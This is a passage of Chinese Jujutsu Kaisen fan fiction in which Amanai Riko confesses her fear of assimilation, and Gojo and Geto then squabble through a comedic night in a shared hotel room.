空气突然凝固沉寂。
天内理子的睫毛微颤,嗫嚅嘴唇。她停下了搅动茶水的动作:“只是很小部分,最大的原因是——我是星浆体。”
“小姐! !”坐在旁边一直默不作声的黑井美里陡然喝道。
“没关系的!告诉他们不会改变什么!”天内理子用力闭上眼睛吼道:“咒术界很少有人知道星浆体是谁,但很少有人不知道什么是星浆体!”
少女终于塌下了腰,放松下来。丢掉套上的盔甲,此刻的她显得平和又脆弱:“明年……我就要和天元大人同化了。”
五条悟歪头:“同化?那是什么?”
“就是……”天内理子绞着手指,“我会变成天元大人的一部分,而''天内理子''……会消失。”
夏油杰瞳孔一缩。
五条悟沉默两秒,突然哈哈笑出来:“烂橘子是大反派,天元则是只臭了几千年的橘子头头吧!这是什么邪教仪式?”
“悟!”夏油杰低声警告。
虽然才进入咒术界,但天元大人的重要性他已经有所了解。
“本来就是啊,”五条悟摊手,“搞献祭这一套?这都什么年代了?”
黑井美里脸色难看:“五条少爷,请您慎言!天元大人是咒术界的根基,星浆体同化一事维系着整个国家的稳定!”
五条悟嗤笑一声,犀利指出:“你是在自我洗脑吗?这种话说出来都说服不了你自己吧!”
天内理子忽然抬头,眼眶通红:“不是的!妾身……我是自愿的!”
“……自愿?”夏油杰轻声问。
“这是我与生俱来的使命,无法逃避!”天内理子斩钉截铁。
但面对着夏油杰温柔悲悯的神情与五条悟洞悉透彻的眼神,她却鼻尖酸涩,渐渐垮下了肩。
“‘我就是天元大人,天元大人就是我’,‘同化与死不同,藉由同化我与天元大人将共存于世’——诸如此类的话,我一遍一遍的同自己说。”
她气息稳定,声音平淡,泪水却滴滴落下,坠入温凉的茶水,飞出一片伤心的湿漉。
“我真的很惶恐、很胆怯,我想缩到墙角把自己从世界藏起来,但我绝不能自私!”
天内理子的音调兀然高亢,声如骤然被劈开的木垛!
夏油杰无法看到她的眼睛,只能瞧见少女试图平复气息,努力维持流畅表述而不断翕动的鼻翼以及颤抖的唇角。
风从窗外拂来,窗纱轻轻摆动,五条悟墨镜后的眼睛波澜不惊,室内须臾的空白。
“我本来很坚定的!”天内理子吸气呼气好一会,有些委屈道:“十几年来我都做得很好,守住自己的心让自己与世界若即若离,随时做好脱离的准备。”
“可是、可是愈离近那个日子,我反而愈想苟活!”
“我也想变得强大
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啊!我不要这么脆弱!我明明要成为英雄了,我怎么能有这么阴暗卑贱的想法啊! !”
“理子小姐——”
黑井美里泪眼汪汪,扑上去将哭的一抽一抽的少女塞进怀里。单薄的脊背如吱呀的泊船,被风雨击打的抖颤,却也坚定,将世间的疾风骤雨通通拒之门外。
“觉得阴暗卑贱?”五条悟突然咧嘴一笑。
“行啊,那正好……”
他站起身来,居高临下的看着她:“既然你想‘荣耀’,那么去当诱饵怎么样?”
“——你身上有标记,去把夢魔引出来,我们直接祓除它解救所有人。”
“五条少爷!”
“悟!”
黑井美里凶狠的看着他,猛的拉开障子门:“请二位立即离开。”
夏油杰沉默起身,拉住双手插兜的五条悟:“悟不是那个意思,他只是关心的方式别扭……”
“我知道,”黑井美里强硬打断他,“不论五条少爷是什么意思、是否是那个意思!天色已晚,二位都应告辞了。”
夏油杰只好礼貌道别。他召出虹龙,揪着五条悟的领口越到咒灵背部。
“请二位务必保密!如果总监部知道星浆体暴露……”
“放心吧!我们不会告诉其他人见过理子妹妹的!”
*
“悟,你刚刚为什么那么说?”夏油杰望着脚下掠过的灯火突然出声。
“干嘛?”五条悟挑眉,“是她不要‘阴暗卑贱’要‘荣耀’的!”
“我不是那个意思,”夏油杰无奈道,“明明是不赞同理子妹妹自诩的阴暗卑贱吧,关心别人的话要好好说啊!”
“哈——这又是正论?”五条悟翻了个大大的白眼,“老子最讨厌正论了!真是不好意思让你失望了,老子让她去做诱饵可是认真的。”
“那也是因为你觉得自己可以保障她的安全。”
夏油杰转过身看着他,语气郑重:“分明是个温柔的家伙吧,干嘛别别扭扭的,你是傲娇鬼吗?”
牙尖嘴利,无所不能的五条悟竟一时间被怔住了。明明是比谁都别扭的家伙吧,竟然在劝别人要坦诚一些。
他望着黑发少年的眼睛,清澈的紫眸在万家灯火地映衬下流光溢彩,纯粹又深刻。这人一番唬人的话砸下去,自己竟半点不觉得有什么问题。
真是……太有意思了!怎么会有这么有意思的人!
五条悟噗嗤一声放声大笑起来,如果不是施展空间不够,他可以捂着肚子翻滚着笑。
他仰倒在地笑的畅快,夏油杰看着他险些被虹龙高空抛物,反倒吓得惊出一身冷汗,他疾历出手握住对方不住踢踏的脚踝。
“你干什么?”夏油杰恼羞成怒,愤恨的收紧双手。
自己啥也没说啊,对方这样算个什么意思?
莫非……我有做谐星的天赋?
“太搞笑了吧,明明你最别扭了吧?真是怪刘海爱说怪话!”
“哈?”
夏油杰额角的青筋跳成大大的问号。
“你才别扭呢!”
五条悟不甘示弱。
“你才是!”
“反弹,反弹,反弹!”
“那老子反弹的2n+1次!”
“啊啊啊啊啊啊啊——!”
“呜啊!破防的优等生!”
歪歪扭扭的虹龙载着骂骂咧咧的声音和你来我往的拳脚命苦的往前飞去。
地面窗中的某一户人家,小女孩推开窗户揉了揉眼睛。
“妈妈你快看,天上有蛇在飞!”
“作业写完了吗就看蛇?……哎哟,这飞机尾气怎么喷的和你爸爸的广场舞似的!”
14. 同床共枕
五条悟不安分的翘了翘脚脚:“优等生,你捏疼老子了。”
现在的姿势是两人背对,夏油杰用力拉着五条悟这辆推车——车把是温热细腻的足踝。
夏油杰感到动静,举起他的腿使劲往两边撇开。
夜风呼啸,微醺撩人。虹龙在云间穿行,像行走流淌的银河。
五条悟就着躺成大字的姿势,傲人的长腿耷拉在空中,悠哉晃动。墨镜早被撇到一边,头发任由风抓的乱七八糟。
“杰——”他没安静一会,“你刚才是在装好人吧?”
虽然是疑问句,但他说的很笃定。
夏油杰警惕:“什么?”
“当然是欺骗无知少女,向她隐瞒朋友危险的事实啊。”五条悟闭着眼睛兜风,声音在风中招摇,“怎么?是怕小鬼哭鼻子吗?”
“她''看到''吸引了咒灵,自己平安无事朋友却身陷险境。如果她知道了恐怕会很愧疚吧。”
“哇哦,好温柔哦~”五条悟上半身弹起,将下巴搁在身前人的肩膀上,“夏油老师改行当心理医生了吗?”
“别调侃我了,论心理的话,我可不见得健康。”
夏油杰用力耸肩,五条悟的下巴却像是被502牢牢黏住,怎么都抖不落,黑发少年遂疲惫放弃。
“之前一直否定,现在说起这件事却坦率了很多呢。”
“毕竟诊断医生是你和硝子啊,否定了咒力的可能性又不是生理机制的问题,就只能是精神了。这种事接受不了也得面对吧。”
五条悟轻轻哼笑出来湿热的鼻息舔舐耳垂,留下黏濡的水渍。
“所以才说你又笨又怪啊,分明自顾不暇了还有心思去照顾别人。”
夏油杰不自在的歪着脖子,在没长猫的肩端狠狠蹭蹭,明明红润的不是这边耳垂,却能感到痒意稍稍退却。
“你该好好学学国文了,你的词库实在离奇,”夏油杰颠了颠他,“你应该夸赞我有急智又善权衡吧。”
“告诉她真相除了让她更痛苦之外有什么实际意义吗?她是星浆体,可不能出事。”
“要这么定性吗?”五条悟扫描仪似的眼睛在对方看不见的地方严丝合缝地运作着,“你也在想,所谓同化根本是在谋杀吧?”
夏油杰没有反驳。
他想起天内理子颤动的嘴唇和自我催眠式的话语。
——她在害怕。
“悟,”夏油杰忽然开口,“如果我们……阻止同化呢?”
五条悟饶有趣味:“哦?你不是最在乎意义了吗?你没听女仆说吗,‘星浆体同化一事关乎整个国家的稳定’唉!”
“注视宏观却藐视微观,这是在否定‘存在’吧。”
夏油杰苦恼的皱了皱眉,努力组织言辞:“天内理子的存在是有意义的。如果世界需要少女地献祭才能拯救,这个世界完蛋也迟早要完,早点晚点也没区别嘛。”
五条悟撑长脖子像只液体猫一样,未遮拦的眼睛奇特的看着他。
夏油杰鸡皮疙瘩噌噌冒出——我是珍惜动物,非要这么观光我?
“……你再这样看着我,我就要打你了哦。”
五条悟的脑袋缩回自己的窝里:“要造反的话算老子一个,在咒术界拳头就是规矩。种花家有句古话说的不错——棍棒底下出孝子,儿子不听话打一顿就行了,一顿不行打两顿,迟早能打服的。”
“双拳难敌四手,能用谈判解决争端就和平一点吧。”
“不用这么畏首畏尾吧?”
“不是畏首畏尾”,夏油杰淡定道,“是考虑后果。如果他们年龄太大耳朵不好,道德理念也不是不能用拳头喂进去。”
五条悟噗嗤一声埋在他的肩窝,哈哈大笑,乐不可支。
*
“五条同学!夏油同学!”
辅助监督在酒店门口来回踱步,看到从巷子拐出的两人差点跪倒在地:“你们知不知道擅自接触星浆体是违规的?!总监部提醒——”
“闭嘴!”五条悟眼泛危光,“总监部已经知道我们见过她了?”
石田辉被吓得脸色泛白;“不、不是的。我也是才知道,总监部的大人主动联络,要求我引导你们避开天内理子。”
夏油杰眯起眼:“你不是总监部的人吗,就这么告诉我们了?”
石田辉有些羞耻:“我,我是理想主义者,梦想是世界和平的那种。”
“……”
“什么嘛,原来也是个中二患者。”五条悟凑近他上下打量片刻,便无趣抛之脑后走入酒店。
“不论如何,请石田先生务必保密此事。我相信您身为伟大的理想主义者定不会坑骗我们这种未成年学生的。”
夏油杰笑眯眯的,眼睛眯成一条缝,酷似花言巧语诓骗乌鸦嘴中肉的狐狸。
石田辉一噎,疯狂点头。
*
“哈?这是什么破房间?”
五条悟捏着房卡站在门外,墨镜滑到鼻尖,露出那双满是嫌弃的眼睛。
夏油杰从后面探头,看见标准双人间里两张窄的可怜的床。
“两位将就一下,”辅助监督小声解释,“今天太晚了,临时只能订到这种。”
“老子不管,”五条悟一脚踹到房门上,“去换总统套房。”
“……我没钱啊,五条同学。”石田快哭出来了,“况且新宿最近在举办大型展会,一时半会真订不到别的房型啊!”
我只是个可怜的社畜而已啊,真不是我想苛待未成年啊!
夏油杰叹了口气,把背包扔到靠窗的床上:“算了,凑合一晚。”
五条悟撇撇嘴,突然伸手拉开衣柜——空荡荡的衣架上面除了酒店配套的廉价浴袍,就只有一看就是在路边摊买来的平价白T。
“……你认真的?”
石田擦汗:“我没钱啊!”
夏油杰也凝重道:“换洗的内衣裤呢?”
辅助监督怔了一会:“我忘了……”
“哈?!”
被踹出房门的石田辉听见五条悟地怒喊:“现在立刻马上去买!要最贵的!”
“悟!”夏油杰按住跳脚的搭档,“别为难他了。”
他掏出手机,看向一旁的广告单拨出去:“我们点外送服务。”
五条悟不解:“内裤还有外送服务?”
“我以前也没听过,但广告单上说可以。”
*
浴室里再次传来哗啦啦的水声时,五条悟已经盘腿坐在床上拆外卖袋。
他刚冲完澡,白发不听训的翘着,身上套着那身印着劣质海绵宝宝的浴袍——领口的线脚粗糙,磨得他锁骨发红。
“杰——这是什么啊——”
水声停了片刻,夏油杰被玻璃遮挡显得沉闷的声音传来:“包装上不是写着吗?”
五条悟分出精致的黑色包装盒,一字一顿念到:“赠品:超薄、倍润、螺纹、持久安全套……这是什么,一次性压缩裤衩?”
“噗通!”
浴室传来重物落地的声音。
一只咒灵从浴室门缝弹射出来,飞速卷走小方盒。
“喂!老子还没看清楚——”
咒灵“咕咚”一声把盒子吞了。
五条悟和圆鼓的咒灵大眼瞪小眼。
“杰,”他戳了戳咒灵滑溜溜的表皮,“你养的这东西是不是故障了?”
浴室门“砰”地打开,夏油杰裹着同款印派大星的浴袍冲出来,发丝黏在脸上还在滴水:“那是赠品!不用管!”
五条悟歪歪脑袋:“你过敏了?脸这么红。”
“……水温太高了。”
夏油杰一把抓起床上的内裤冲回浴室。
“杰……你拿成老子的了,你的小一个码老子穿不了!”
“……”
室内安静一会—
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—“轰!”“砰!”
夏油杰风一样呼出来,又像风一样呼走,门摔得震天响。
“搞什么啊……”
*
羞愤欲死的夏油杰终于穿戴整齐换上白T,他出来时五条悟正把新裤衩往头上套。
“……你在干嘛?”
“测试弹性啊。”五条悟把脸上的裤衩转了一圈,“这玩意可以当眼罩用诶。”
夏油杰扶额:“那是穿在下面的。”
“老子知道啊,你在把老子当弱智吗?”五条悟扯下''眼罩'',一脸无辜,“所以刚才那个''安全套''老子为什么不能碰?”
这件事不是已经过去了吗?!
夏油杰想把擦头发的毛巾咬在嘴里堵住内心的尖叫——难怪酒店会有外送内裤的服务,大人们的脑子为什么不能纯洁一点!
如果早知道,他宁愿挂空挡等明早晾干也死活不要打那个电话!
“……那是成人特殊部位的内裤。”
“哦?”五条悟眨巴着纯洁的蓝眼睛,“年纪越大萎缩越快所以用的特小号吗?”
“自己去查手机!”
“小气~”五条悟一个后仰倒在床上,“你告诉老子那个''套''用……”
“闭嘴!”
一只枕头狠狠砸在五条悟脸上。他大笑反手把枕头打成棉絮。
“幼稚鬼!”
“假正经!”
夏油杰狠狠下拽五条悟掀起的衣角,遮住他的大腿把他踢进浴室。
“杰,浴袍太扎了,老子不要穿。”
五条悟退下浴袍,在浴室挠着红痒的锁骨。
外面的人没有说话,门外传来开开合合的稀碎声响。不久浴室门被人打开一条缝,一只手抓着衣服伸进来。
五条悟挑眉,不接过衣服反而饶有趣味地用两指环住对方的手腕。
刚洗过澡的皮肤透着健康的红,在五条悟莹白的指环间微暗。
五条悟像看到好玩的东西,睁大了猫眼。
夏油杰浑然不觉,递出的手腕上下轻轻晃动,碰到对方的皮肤便松了手。
五条悟出来时夏油杰已经吹完头发,散开的发丝温顺地搭在颊侧,在昏黄的壁灯下吹着被五条悟头发润湿的床单。
看到五条悟出来,他顿了几秒,眼神在五条悟湿漉的发丝上游移。
“过来吹头发,头痛可不止是六眼会带来。”
五条悟顶着一头乱糟糟的白发愉快的扑上去,像只大型猫科动物甩甩头,水珠四处飞溅。
“……别乱动。”
五条悟换了几个姿势,最后把湿漉漉的脑袋拱到少年怀里。
吹风机的嗡嗡声在房间响起,夏油杰的手指在五条悟柔软的发丝里穿梭。白毛猫在呼呼的热风下惬意眯眼,头也一点一点的,就差打出舒适的咕噜咕噜声。
这家伙,真的很像小猫啊。
……有点想球球了。
五条悟突然翻身坐起,头顶重重冲到夏油杰下巴,打断他对自家毛茸茸的思念。
“唔啊!”
夏油杰痛呼出声,五条悟龇牙咧嘴的用力揉了揉自己的脑袋就把双臂撑在对方身侧。
“等、等等!”
夏油杰还没反应过来,就被连人带床推到里面。
''吱呀'',两张床合并在一起。
“完美!”五条悟得意的打了个响指,“这样睡起地方大。”
夏油杰看着拼在一起的床铺一时语塞:“……我不要和你睡在一起。”
“哎啊~”五条悟笑嘻嘻撞他的肩,“快来啦,老子分你一半床!”
“……”
*
半夜,夏油杰再次把压在自己肚子上的手脚搬下去。
他生无可恋的盯着天花乱坠,认真思考着用咒灵把五条悟打包到走廊的可能性。
——明天绝对要申请换房间!不换…我就不是人!